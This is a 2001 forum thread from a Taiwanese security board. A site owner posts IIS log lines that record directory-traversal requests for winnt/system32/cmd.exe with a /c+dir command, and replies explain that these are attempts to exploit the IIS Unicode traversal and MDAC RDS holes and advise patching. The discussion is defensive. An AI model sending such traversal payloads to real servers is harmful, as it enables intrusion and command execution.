PCZONE 討論區

PCZONE 討論區 (https://www.pczone.com.tw/vbb3/)
-   -- 防 駭 / 防 毒 版 (https://www.pczone.com.tw/vbb3/forum/28/)
-   -   logfile (https://www.pczone.com.tw/vbb3/thread/28/6229/)

linyuson 2001-06-13 09:19 AM

我網站上的logfile 記載如下,看內容好像是有人在網站上使用DOS指令!不知是否有害網站動作? ---謝 謝!!---
2001-06-12 21:17:57 202.181.210.4 - xxx.xxx.xxx.xxx 80 GET /scripts/..嶸../winnt/system32/cmd.exe /c+dir 404 -
2001-06-12 21:17:59 202.181.210.4 - xxx.xxx.xxx.xxx 80 GET /scripts/..\../winnt/system32/cmd.exe /c+dir 404 -
2001-06-12 21:18:00 202.181.210.4 - xxx.xxx.xxx.xxx 80 GET /scripts/..epc../winnt/system32/cmd.exe /c+dir 404 -
2001-06-12 21:18:02 202.181.210.4 - xxx.xxx.xxx.xxx 80 GET /scripts/..%9v../winnt/system32/cmd.exe /c+dir 404 -
2001-06-12 21:18:03 202.181.210.4 - xxx.xxx.xxx.xxx 80 GET /scripts/..%qf../winnt/system32/cmd.exe /c+dir 404 -
2001-06-12 21:18:05 202.181.210.4 - xxx.xxx.xxx.xxx 80 GET /scripts/..e8s../winnt/system32/cmd.exe /c+dir 404 -
2001-06-12 21:18:06 202.181.210.4 - xxx.xxx.xxx.xxx 80 GET /scripts/..\../winnt/system32/cmd.exe /c+dir 404 -
2001-06-12 21:18:08 202.181.210.4 - xxx.xxx.xxx.xxx 80 GET /scripts/..\../winnt/system32/cmd.exe /c+dir 404 -
2001-06-12 21:18:09 202.181.210.4 - xxx.xxx.xxx.xxx 80 GET /scripts/..蟒../winnt/system32/cmd.exe /c+dir 404 -
2001-06-12 21:18:10 202.181.210.4 - xxx.xxx.xxx.xxx 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir 404 -
2001-06-12 21:18:12 202.181.210.4 - xxx.xxx.xxx.xxx 80 GET /scripts/..??./winnt/system32/cmd.exe /c+dir 404 -
2001-06-12 21:18:13 202.181.210.4 - xxx.xxx.xxx.xxx 80 GET /scripts/..??./winnt/system32/cmd.exe /c+dir 404 -
2001-06-12 21:18:14 202.181.210.4 - xxx.xxx.xxx.xxx 80 GET /scripts/..??./winnt/system32/cmd.exe /c+dir 404 -
2001-06-12 21:18:16 202.181.210.4 - xxx.xxx.xxx.xxx 80 GET /msadc/../../../../../../winnt/system32/cmd.exe /c+dir 403 -

winson 2001-06-13 12:59 PM

他只是想要try你iis的漏洞罷了

請你往前面的文章搜尋...

shinn 2001-06-15 01:20 AM

沒錯哦,對方正在試圖入侵你的電腦.
入侵的對象是 IIS.使用的方法請看下列網址.
Microsoft IIS and PWS Extended Unicode Directory Traversal Vulnerability [url]http://www.securityfocus.com/vdb/?id=1806[/url]
NT IIS MDAC RDS Vulnerability [url]http://www.securityfocus.com/vdb/?id=529[/url]
你可以找一些 Unicode 的 Attack script 試試看,如果系統還有漏洞,趕快做修補吧...
對了,參考一下這一篇
[url]http://pczone.jimmytam.com/showthread.php?threadid=7979[/url]


所有時間均為 +8。現在的時間是 06:02 AM



 XML   RSS 2.0   RSS 
本站使用 vBulletin 合法版權程式
站務信箱 : [email protected]

本論壇所有文章僅代表留言者個人意見,並不代表本站之立場,討論區以「即時留言」方式運作,故無法完全監察所有即時留言,若您發現文章可能有異議,請 email :[email protected] 處理。